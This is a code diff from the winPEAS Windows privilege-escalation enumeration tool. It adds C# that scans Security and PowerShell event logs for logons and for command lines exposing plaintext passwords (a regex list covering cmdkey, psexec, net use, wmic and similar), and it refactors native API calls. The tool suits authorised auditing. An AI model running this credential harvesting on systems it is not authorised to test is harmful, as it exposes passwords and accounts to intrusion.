Regex[] processCmdLineRegex =
|
||||
{
|
||||
//new Regex(@"(New-Object.*System.Management.Automation.PSCredential.*)", globalOptions),
|
||||
new Regex(@"(bitsadmin(.exe)?.*(/RemoveCredentials|/SetCredentials) .*)", globalOptions),
|
||||
new Regex(@"(bootcfg(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(certreq(.exe)?.*-p .*)", globalOptions),
|
||||
new Regex(@"(certutil(.exe)?.*-p .*)", globalOptions),
|
||||
new Regex(@"(cmdkey(.exe)?.*/pass:.*)", globalOptions),
|
||||
new Regex(@"(cscript.*-w .*)", globalOptions),
|
||||
new Regex(@"(driverquery(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(eventcreate(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(getmac(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(gpfixup(.exe)?.*/pwd:.*)", globalOptions),
|
||||
new Regex(@"(gpresult(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(kitty(.exe)?.*(-pw|-pass) .*)", globalOptions),
|
||||
new Regex(@"(mapadmin(.exe)?.*-p .*)", globalOptions),
|
||||
new Regex(@"(mount(.exe)?.*-p:.*)", globalOptions),
|
||||
new Regex(@"(net(.exe)?.*use .*)", globalOptions),
|
||||
new Regex(@"(net(.exe)?.*user .*)", globalOptions),
|
||||
new Regex(@"(nfsadmin(.exe)?.*-p .*)", globalOptions),
|
||||
new Regex(@"(openfiles(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(pscp(.exe)?.*-pw .*)", globalOptions),
|
||||
new Regex(@"(psexec(.exe)?.*-p .*)", globalOptions),
|
||||
new Regex(@"(psexec64(.exe)?.*-p .*)", globalOptions),
|
||||
new Regex(@"(putty(.exe)?.*-pw .*)", globalOptions),
|
||||
new Regex(@"(schtasks(.exe)?.*(/p|/rp) .*)", globalOptions),
|
||||
new Regex(@"(setx(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(ssh(.exe)?.*-i .*)", globalOptions),
|
||||
new Regex(@"(systeminfo(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(takeown(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(taskkill(.exe)?.*/p .*)", globalOptions),
|
||||
new Regex(@"(tscon(.exe)?.*/password:.*)", globalOptions),
|
||||
new Regex(@"(wecutil(.exe)?.*(/up|/cup|/p):.*)", globalOptions),
|
||||
new Regex(@"(winrm(.vbs)?.*-p .*)", globalOptions),
|
||||
new Regex(@"(winrs(.exe)?.*/p(assword)? .*)", globalOptions),
|
||||
new Regex(@"(wmic(.exe)?.*/password:.*)", globalOptions),
|
||||
new Regex(@"(ConvertTo-SecureString.*AsPlainText.*)", globalOptions),
|
||||
};
|
||||
|
||||
return processCmdLineRegex;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,15 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.Logon
|
||||
{
|
||||
internal class ExplicitLogonEventInfo
|
||||
{
|
||||
public string SubjectUser { get; set; }
|
||||
public string SubjectDomain { get; set; }
|
||||
public string TargetUser { get; set; }
|
||||
public string TargetDomain { get; set; }
|
||||
public string Process { get; set; }
|
||||
public string IpAddress { get; set; }
|
||||
public DateTime? CreatedAtUtc { get; set; }
|
||||
}
|
||||
}
|
195
winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Logon/Logon.cs
Normal file
195
winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Logon/Logon.cs
Normal file
@ -0,0 +1,195 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.Eventing.Reader;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.Logon
|
||||
{
|
||||
internal class Logon
|
||||
{
|
||||
public static LogonInfo GetLogonInfos(int lastDays)
|
||||
{
|
||||
var result = new LogonInfo();
|
||||
var logonEventInfos = new List<LogonEventInfo>();
|
||||
var NTLMv1LoggedUsersSet = new HashSet<string>();
|
||||
var NTLMv2LoggedUsersSet = new HashSet<string>();
|
||||
var kerberosLoggedUsersSet = new HashSet<string>();
|
||||
|
||||
string userRegex = null;
|
||||
|
||||
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||
var endTime = DateTime.Now;
|
||||
|
||||
var query = $@"*[System/EventID=4624] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]";
|
||||
var logReader = MyUtils.GetEventLogReader("Security", query);
|
||||
|
||||
// read the event log
|
||||
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||
{
|
||||
//var subjectUserSid = eventDetail.GetPropertyValue(0);
|
||||
var subjectUserName = eventDetail.GetPropertyValue(1);
|
||||
var subjectDomainName = eventDetail.GetPropertyValue(2);
|
||||
//var subjectLogonId = eventDetail.GetPropertyValue(3);
|
||||
//var targetUserSid = eventDetail.GetPropertyValue(4);
|
||||
var targetUserName = eventDetail.GetPropertyValue(5);
|
||||
var targetDomainName = eventDetail.GetPropertyValue(6);
|
||||
//var targetLogonId = eventDetail.GetPropertyValue(7);
|
||||
//var logonType = eventDetail.GetPropertyValue(8);
|
||||
var logonType = $"{(SECURITY_LOGON_TYPE)(int.Parse(eventDetail.GetPropertyValue(8)))}";
|
||||
//var logonProcessName = eventDetail.GetPropertyValue(9);
|
||||
var authenticationPackageName = eventDetail.GetPropertyValue(10);
|
||||
//var workstationName = eventDetail.GetPropertyValue(11);
|
||||
//var logonGuid = eventDetail.GetPropertyValue(12);
|
||||
//var transmittedServices = eventDetail.GetPropertyValue(13);
|
||||
var lmPackageName = eventDetail.GetPropertyValue(14);
|
||||
lmPackageName = lmPackageName == "-" ? "" : lmPackageName;
|
||||
//var keyLength = eventDetail.GetPropertyValue(15);
|
||||
//var processId = eventDetail.GetPropertyValue(16);
|
||||
//var processName = eventDetail.GetPropertyValue(17);
|
||||
var ipAddress = eventDetail.GetPropertyValue(18);
|
||||
//var ipPort = eventDetail.GetPropertyValue(19);
|
||||
//var impersonationLevel = eventDetail.GetPropertyValue(20);
|
||||
//var restrictedAdminMode = eventDetail.GetPropertyValue(21);
|
||||
|
||||
var targetOutboundUserName = "-";
|
||||
var targetOutboundDomainName = "-";
|
||||
if (eventDetail.Properties.Count > 22) // Not available on older versions of Windows
|
||||
{
|
||||
targetOutboundUserName = eventDetail.GetPropertyValue(22);
|
||||
targetOutboundDomainName = eventDetail.GetPropertyValue(23);
|
||||
}
|
||||
//var VirtualAccount = eventDetail.GetPropertyValue(24);
|
||||
//var TargetLinkedLogonId = eventDetail.GetPropertyValue(25);
|
||||
//var ElevatedToken = eventDetail.GetPropertyValue(26);
|
||||
|
||||
// filter out SYSTEM, computer accounts, local service accounts, UMFD-X accounts, and DWM-X accounts (for now)
|
||||
var userIgnoreRegex = "^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON|" + Environment.MachineName + "\\$)$";
|
||||
if (userRegex == null && Regex.IsMatch(targetUserName, userIgnoreRegex, RegexOptions.IgnoreCase))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
var domainIgnoreRegex = "^(NT VIRTUAL MACHINE)$";
|
||||
if (userRegex == null && Regex.IsMatch(targetDomainName, domainIgnoreRegex, RegexOptions.IgnoreCase))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle the user filter
|
||||
if (userRegex != null && !Regex.IsMatch(targetUserName, userRegex, RegexOptions.IgnoreCase))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
// Analyze the output
|
||||
if (logonType == "Network")
|
||||
{
|
||||
var accountName = $"{targetDomainName}\\{targetUserName}";
|
||||
if (authenticationPackageName == "NTLM")
|
||||
{
|
||||
switch (lmPackageName)
|
||||
{
|
||||
case "NTLM V1":
|
||||
NTLMv1LoggedUsersSet.Add(accountName);
|
||||
break;
|
||||
case "NTLM V2":
|
||||
NTLMv2LoggedUsersSet.Add(accountName);
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (authenticationPackageName == "Kerberos")
|
||||
{
|
||||
kerberosLoggedUsersSet.Add(accountName);
|
||||
}
|
||||
}
|
||||
|
||||
logonEventInfos.Add(
|
||||
new LogonEventInfo(
|
||||
eventDetail.TimeCreated?.ToUniversalTime(),
|
||||
targetUserName,
|
||||
targetDomainName,
|
||||
logonType,
|
||||
ipAddress,
|
||||
subjectUserName,
|
||||
subjectDomainName,
|
||||
authenticationPackageName,
|
||||
lmPackageName,
|
||||
targetOutboundUserName,
|
||||
targetOutboundDomainName
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
result.KerberosLoggedUsersSet = kerberosLoggedUsersSet;
|
||||
result.NTLMv1LoggedUsersSet = NTLMv1LoggedUsersSet;
|
||||
result.NTLMv2LoggedUsersSet = NTLMv2LoggedUsersSet;
|
||||
result.LogonEventInfos = logonEventInfos;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public static IEnumerable<ExplicitLogonEventInfo> GetExplicitLogonEventsInfos(int lastDays)
|
||||
{
|
||||
const string eventId = "4648";
|
||||
string userFilterRegex = null;
|
||||
|
||||
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||
var endTime = DateTime.Now;
|
||||
|
||||
var query = $@"*[System/EventID={eventId}] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]";
|
||||
|
||||
var logReader = MyUtils.GetEventLogReader("Security", query);
|
||||
|
||||
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||
{
|
||||
//string subjectUserSid = eventDetail.GetPropertyValue(0);
|
||||
var subjectUserName = eventDetail.GetPropertyValue(1);
|
||||
var subjectDomainName = eventDetail.GetPropertyValue(2);
|
||||
//var subjectLogonId = eventDetail.GetPropertyValue(3);
|
||||
//var logonGuid = eventDetail.GetPropertyValue(4);
|
||||
var targetUserName = eventDetail.GetPropertyValue(5);
|
||||
var targetDomainName = eventDetail.GetPropertyValue(6);
|
||||
//var targetLogonGuid = eventDetail.GetPropertyValue(7);
|
||||
//var targetServerName = eventDetail.GetPropertyValue(8);
|
||||
//var targetInfo = eventDetail.GetPropertyValue(9);
|
||||
//var processId = eventDetail.GetPropertyValue(10);
|
||||
var processName = eventDetail.GetPropertyValue(11);
|
||||
var ipAddress = eventDetail.GetPropertyValue(12);
|
||||
//var IpPort = eventDetail.GetPropertyValue(13);
|
||||
|
||||
// Ignore the current machine logging on and
|
||||
if (Regex.IsMatch(targetUserName, Environment.MachineName) ||
|
||||
Regex.IsMatch(targetDomainName, @"^(Font Driver Host|Window Manager)$"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if (userFilterRegex != null && !Regex.IsMatch(targetUserName, userFilterRegex))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
yield return new ExplicitLogonEventInfo
|
||||
{
|
||||
CreatedAtUtc = eventDetail.TimeCreated?.ToUniversalTime(),
|
||||
SubjectUser = subjectUserName,
|
||||
SubjectDomain = subjectDomainName,
|
||||
TargetUser = targetUserName,
|
||||
TargetDomain = targetDomainName,
|
||||
Process = processName,
|
||||
IpAddress = ipAddress
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
internal static class EventRecordExtensions
|
||||
{
|
||||
internal static string GetPropertyValue(this EventRecord record, int index)
|
||||
{
|
||||
return record == null ? string.Empty : record.Properties[index].Value.ToString();
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,45 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.Logon
|
||||
{
|
||||
internal class LogonEventInfo
|
||||
{
|
||||
public DateTime? CreatedAtUtc { get; set; }
|
||||
public string TargetUserName { get; set; }
|
||||
public string TargetDomainName { get; set; }
|
||||
public string LogonType { get; set; }
|
||||
public string IpAddress { get; set; }
|
||||
public string SubjectUserName { get; set; }
|
||||
public string SubjectDomainName { get; set; }
|
||||
public string AuthenticationPackage { get; set; }
|
||||
public string LmPackage { get; set; }
|
||||
public string TargetOutboundUserName { get; set; }
|
||||
public string TargetOutboundDomainName { get; set; }
|
||||
|
||||
public LogonEventInfo(
|
||||
DateTime? createdAtUtc,
|
||||
string targetUserName,
|
||||
string targetDomainName,
|
||||
string logonType,
|
||||
string ipAddress,
|
||||
string subjectUserName,
|
||||
string subjectDomainName,
|
||||
string authenticationPackage,
|
||||
string lmPackage,
|
||||
string targetOutboundUserName,
|
||||
string targetOutboundDomainName)
|
||||
{
|
||||
CreatedAtUtc = createdAtUtc;
|
||||
TargetUserName = targetUserName;
|
||||
TargetDomainName = targetDomainName;
|
||||
LogonType = logonType;
|
||||
IpAddress = ipAddress;
|
||||
SubjectUserName = subjectUserName;
|
||||
SubjectDomainName = subjectDomainName;
|
||||
AuthenticationPackage = authenticationPackage;
|
||||
LmPackage = lmPackage;
|
||||
TargetOutboundUserName = targetOutboundUserName;
|
||||
TargetOutboundDomainName = targetOutboundDomainName;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,13 @@
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.Logon
|
||||
{
|
||||
internal class LogonInfo
|
||||
{
|
||||
public HashSet<string> NTLMv1LoggedUsersSet { get; set; } = new HashSet<string>();
|
||||
public HashSet<string> NTLMv2LoggedUsersSet { get; set; } = new HashSet<string>();
|
||||
public HashSet<string> KerberosLoggedUsersSet { get; set; } = new HashSet<string>();
|
||||
|
||||
public IEnumerable<LogonEventInfo> LogonEventInfos { get; set; } = new List<LogonEventInfo>();
|
||||
}
|
||||
}
|
@ -0,0 +1,89 @@
|
||||
using System.Collections.Generic;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.PowerShell
|
||||
{
|
||||
internal class PowerShell
|
||||
{
|
||||
public static IEnumerable<PowerShellEventInfo> GetPowerShellEventInfos()
|
||||
{
|
||||
// adapted from @djhohnstein's EventLogParser project
|
||||
// https://github.com/djhohnstein/EventLogParser/blob/master/EventLogParser/EventLogHelpers.cs
|
||||
// combined with scraping from https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands
|
||||
|
||||
var context = 3; // number of lines around the match to display
|
||||
|
||||
string[] powerShellLogs = { "Microsoft-Windows-PowerShell/Operational", "Windows PowerShell" };
|
||||
|
||||
// Get our "sensitive" cmdline regexes from a common helper function.
|
||||
var powerShellRegex = Common.GetInterestingProcessArgsRegex();
|
||||
|
||||
foreach (var logName in powerShellLogs)
|
||||
{
|
||||
var query = "*[System/EventID=4104]";
|
||||
|
||||
var logReader = MyUtils.GetEventLogReader(logName, query);
|
||||
|
||||
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||
{
|
||||
var scriptBlock = eventDetail.Properties[2].Value.ToString();
|
||||
|
||||
foreach (var reg in powerShellRegex)
|
||||
{
|
||||
var m = reg.Match(scriptBlock);
|
||||
if (!m.Success)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
var contextLines = new List<string>();
|
||||
|
||||
var scriptBlockParts = scriptBlock.Split('\n');
|
||||
for (var i = 0; i < scriptBlockParts.Length; i++)
|
||||
{
|
||||
if (!scriptBlockParts[i].Contains(m.Value))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
var printed = 0;
|
||||
for (var j = 1; i - j > 0 && printed < context; j++)
|
||||
{
|
||||
if (scriptBlockParts[i - j].Trim() == "")
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
contextLines.Add(scriptBlockParts[i - j].Trim());
|
||||
printed++;
|
||||
}
|
||||
printed = 0;
|
||||
contextLines.Add(m.Value.Trim());
|
||||
for (var j = 1; printed < context && i + j < scriptBlockParts.Length; j++)
|
||||
{
|
||||
if (scriptBlockParts[i + j].Trim() == "")
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
contextLines.Add(scriptBlockParts[i + j].Trim());
|
||||
printed++;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
var contextJoined = string.Join("\n", contextLines.ToArray());
|
||||
|
||||
yield return new PowerShellEventInfo(
|
||||
eventDetail.TimeCreated,
|
||||
eventDetail.Id,
|
||||
$"{eventDetail.UserId}",
|
||||
m.Value,
|
||||
contextJoined
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,27 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.PowerShell
|
||||
{
|
||||
internal class PowerShellEventInfo
|
||||
{
|
||||
public DateTime? CreatedAt { get; }
|
||||
public int EventId { get; }
|
||||
public string UserId { get; }
|
||||
public string Match { get; }
|
||||
public string Context { get; }
|
||||
|
||||
public PowerShellEventInfo(
|
||||
DateTime? createdAt,
|
||||
int eventId,
|
||||
string userId,
|
||||
string match,
|
||||
string context)
|
||||
{
|
||||
CreatedAt = createdAt;
|
||||
EventId = eventId;
|
||||
UserId = userId;
|
||||
Match = match;
|
||||
Context = context;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,38 @@
|
||||
using System.Collections.Generic;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Info.EventsInfo.PowerShell;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||
{
|
||||
internal class ProcessCreation
|
||||
{
|
||||
public static IEnumerable<ProcessCreationEventInfo> GetProcessCreationEventInfos()
|
||||
{
|
||||
// Get our "sensitive" cmdline regexes from a common helper function.
|
||||
var processCmdLineRegex = Common.GetInterestingProcessArgsRegex();
|
||||
|
||||
var query = $"*[System/EventID=4688]";
|
||||
var logReader = MyUtils.GetEventLogReader("Security", query);
|
||||
|
||||
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||
{
|
||||
var user = eventDetail.Properties[1].Value.ToString().Trim();
|
||||
var commandLine = eventDetail.Properties[8].Value.ToString().Trim();
|
||||
|
||||
foreach (var reg in processCmdLineRegex)
|
||||
{
|
||||
var m = reg.Match(commandLine);
|
||||
if (m.Success)
|
||||
{
|
||||
yield return new ProcessCreationEventInfo(
|
||||
eventDetail.TimeCreated?.ToUniversalTime(),
|
||||
eventDetail.Id,
|
||||
user,
|
||||
commandLine
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,24 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||
{
|
||||
internal class ProcessCreationEventInfo
|
||||
{
|
||||
public DateTime? CreatedAtUtc { get; set; }
|
||||
public int EventId { get; set; }
|
||||
public string User { get; set; }
|
||||
public string Match { get; set; }
|
||||
|
||||
public ProcessCreationEventInfo(
|
||||
DateTime? createdAtUtc,
|
||||
int eventId,
|
||||
string user,
|
||||
string match)
|
||||
{
|
||||
CreatedAtUtc = createdAtUtc;
|
||||
EventId = eventId;
|
||||
User = user;
|
||||
Match = match;
|
||||
}
|
||||
}
|
||||
}
|
@ -9,6 +9,7 @@ using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Info.NetworkInfo.Enums;
|
||||
using winPEAS.Info.NetworkInfo.Structs;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.NetworkInfo
|
||||
{
|
||||
@ -16,22 +17,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
{
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket
|
||||
private const int AF_INET = 2;
|
||||
private const int AF_INET6 = 23;
|
||||
|
||||
[DllImport("iphlpapi.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int pdwSize,
|
||||
bool bOrder, int ulAf, TcpTableClass tableClass, uint reserved = 0);
|
||||
|
||||
[DllImport("iphlpapi.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern uint GetExtendedUdpTable(IntPtr pUdpTable, ref int pdwSize,
|
||||
bool bOrder, int ulAf, UdpTableClass tableClass, uint reserved = 0);
|
||||
|
||||
[DllImport("IpHlpApi.dll")]
|
||||
[return: MarshalAs(UnmanagedType.U4)]
|
||||
internal static extern int GetIpNetTable(IntPtr pIpNetTable, [MarshalAs(UnmanagedType.U4)]ref int pdwSize, bool bOrder);
|
||||
|
||||
[DllImport("IpHlpApi.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
internal static extern int FreeMibTable(IntPtr plpNetTable);
|
||||
private const int AF_INET6 = 23;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct MIB_IPNETROW
|
||||
@ -125,7 +111,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
|
||||
int bytesNeeded = 0;
|
||||
|
||||
int result = GetIpNetTable(IntPtr.Zero, ref bytesNeeded, false);
|
||||
int result = Iphlpapi.GetIpNetTable(IntPtr.Zero, ref bytesNeeded, false);
|
||||
|
||||
// call the function, expecting an insufficient buffer.
|
||||
if (result != ERROR_INSUFFICIENT_BUFFER)
|
||||
@ -138,7 +124,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
// allocate sufficient memory for the result structure
|
||||
buffer = Marshal.AllocCoTaskMem(bytesNeeded);
|
||||
|
||||
result = GetIpNetTable(buffer, ref bytesNeeded, false);
|
||||
result = Iphlpapi.GetIpNetTable(buffer, ref bytesNeeded, false);
|
||||
|
||||
if (result != 0)
|
||||
{
|
||||
@ -181,7 +167,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
adapters[arpEntry.dwIndex]["arp"] += $" {ipAddr,-22}{physAddr,-22}{entryType}\n";
|
||||
}
|
||||
|
||||
FreeMibTable(buffer);
|
||||
Iphlpapi.FreeMibTable(buffer);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -326,7 +312,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
}
|
||||
|
||||
// Getting the initial size of TCP table.
|
||||
uint result = GetExtendedTcpTable(IntPtr.Zero, ref bufferSize, true, ulAf, TcpTableClass.TCP_TABLE_OWNER_PID_ALL);
|
||||
uint result = Iphlpapi.GetExtendedTcpTable(IntPtr.Zero, ref bufferSize, true, ulAf, TcpTableClass.TCP_TABLE_OWNER_PID_ALL);
|
||||
|
||||
// Allocating memory as an IntPtr with the bufferSize.
|
||||
IntPtr tcpTableRecordsPtr = Marshal.AllocHGlobal(bufferSize);
|
||||
@ -335,7 +321,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
{
|
||||
// The IntPtr from last call, tcpTableRecoresPtr must be used in the subsequent
|
||||
// call and passed as the first parameter.
|
||||
result = GetExtendedTcpTable(tcpTableRecordsPtr, ref bufferSize, true, ulAf, TcpTableClass.TCP_TABLE_OWNER_PID_ALL);
|
||||
result = Iphlpapi.GetExtendedTcpTable(tcpTableRecordsPtr, ref bufferSize, true, ulAf, TcpTableClass.TCP_TABLE_OWNER_PID_ALL);
|
||||
|
||||
// If not zero, the call failed.
|
||||
if (result != 0)
|
||||
@ -438,7 +424,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
}
|
||||
|
||||
// Getting the initial size of UDP table.
|
||||
uint result = GetExtendedUdpTable(IntPtr.Zero, ref bufferSize, true, ulAf, UdpTableClass.UDP_TABLE_OWNER_PID);
|
||||
uint result = Iphlpapi.GetExtendedUdpTable(IntPtr.Zero, ref bufferSize, true, ulAf, UdpTableClass.UDP_TABLE_OWNER_PID);
|
||||
|
||||
// Allocating memory as an IntPtr with the bufferSize.
|
||||
IntPtr udpTableRecordsPtr = Marshal.AllocHGlobal(bufferSize);
|
||||
@ -447,7 +433,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
{
|
||||
// The IntPtr from last call, udpTableRecoresPtr must be used in the subsequent
|
||||
// call and passed as the first parameter.
|
||||
result = GetExtendedUdpTable(udpTableRecordsPtr, ref bufferSize, true, ulAf, UdpTableClass.UDP_TABLE_OWNER_PID);
|
||||
result = Iphlpapi.GetExtendedUdpTable(udpTableRecordsPtr, ref bufferSize, true, ulAf, UdpTableClass.UDP_TABLE_OWNER_PID);
|
||||
|
||||
// If not zero, call failed.
|
||||
if (result != 0)
|
||||
|
@ -3,26 +3,21 @@ using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.ProcessInfo
|
||||
{
|
||||
class ProcessesInfo
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
internal class ProcessesInfo
|
||||
{
|
||||
private static string GetProcU(Process p)
|
||||
{
|
||||
IntPtr pHandle = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
OpenProcessToken(p.Handle, 8, out pHandle);
|
||||
Advapi32.OpenProcessToken(p.Handle, 8, out pHandle);
|
||||
WindowsIdentity WI = new WindowsIdentity(pHandle);
|
||||
String uSEr = WI.Name;
|
||||
return uSEr.Contains(@"\") ? uSEr.Substring(uSEr.IndexOf(@"\") + 1) : uSEr;
|
||||
@ -35,7 +30,7 @@ namespace winPEAS.Info.ProcessInfo
|
||||
{
|
||||
if (pHandle != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(pHandle);
|
||||
Kernel32.CloseHandle(pHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -11,6 +11,7 @@ using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.ServicesInfo
|
||||
{
|
||||
@ -164,19 +165,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
|
||||
//////////////////////////////////////////
|
||||
/////// Find Modifiable Services ////////
|
||||
//////////////////////////////////////////
|
||||
/// Find services that you can modify using PS os sc for example
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
static extern bool QueryServiceObjectSecurity(
|
||||
IntPtr serviceHandle,
|
||||
System.Security.AccessControl.SecurityInfos secInfo,
|
||||
byte[] lpSecDesrBuf,
|
||||
uint bufSize,
|
||||
out uint bufSizeNeeded);
|
||||
|
||||
public static Dictionary<string, string> GetModifiableServices(Dictionary<string, string> SIDs)
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
@ -194,7 +183,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
IntPtr handle = (IntPtr)GetServiceHandle.Invoke(sc, readRights);
|
||||
ServiceControllerStatus status = sc.Status;
|
||||
byte[] psd = new byte[0];
|
||||
bool ok = QueryServiceObjectSecurity(handle, SecurityInfos.DiscretionaryAcl, psd, 0, out uint bufSizeNeeded);
|
||||
bool ok = Advapi32.QueryServiceObjectSecurity(handle, SecurityInfos.DiscretionaryAcl, psd, 0, out uint bufSizeNeeded);
|
||||
if (!ok)
|
||||
{
|
||||
int err = Marshal.GetLastWin32Error();
|
||||
@ -202,7 +191,7 @@ namespace winPEAS.Info.ServicesInfo
|
||||
{ // ERROR_INSUFFICIENT_BUFFER
|
||||
// expected; now we know bufsize
|
||||
psd = new byte[bufSizeNeeded];
|
||||
ok = QueryServiceObjectSecurity(handle, SecurityInfos.DiscretionaryAcl, psd, bufSizeNeeded, out bufSizeNeeded);
|
||||
ok = Advapi32.QueryServiceObjectSecurity(handle, SecurityInfos.DiscretionaryAcl, psd, bufSizeNeeded, out bufSizeNeeded);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -1,23 +1,13 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||
{
|
||||
internal class NamedPipes
|
||||
{
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern IntPtr FindFirstFile(string lpFileName, out WIN32_FIND_DATA lpFindFileData);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool FindNextFile(IntPtr hFindFile, out WIN32_FIND_DATA
|
||||
lpFindFileData);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool FindClose(IntPtr hFindFile);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||
public struct WIN32_FIND_DATA
|
||||
{
|
||||
@ -39,13 +29,13 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||
{
|
||||
var namedPipes = new List<string>();
|
||||
|
||||
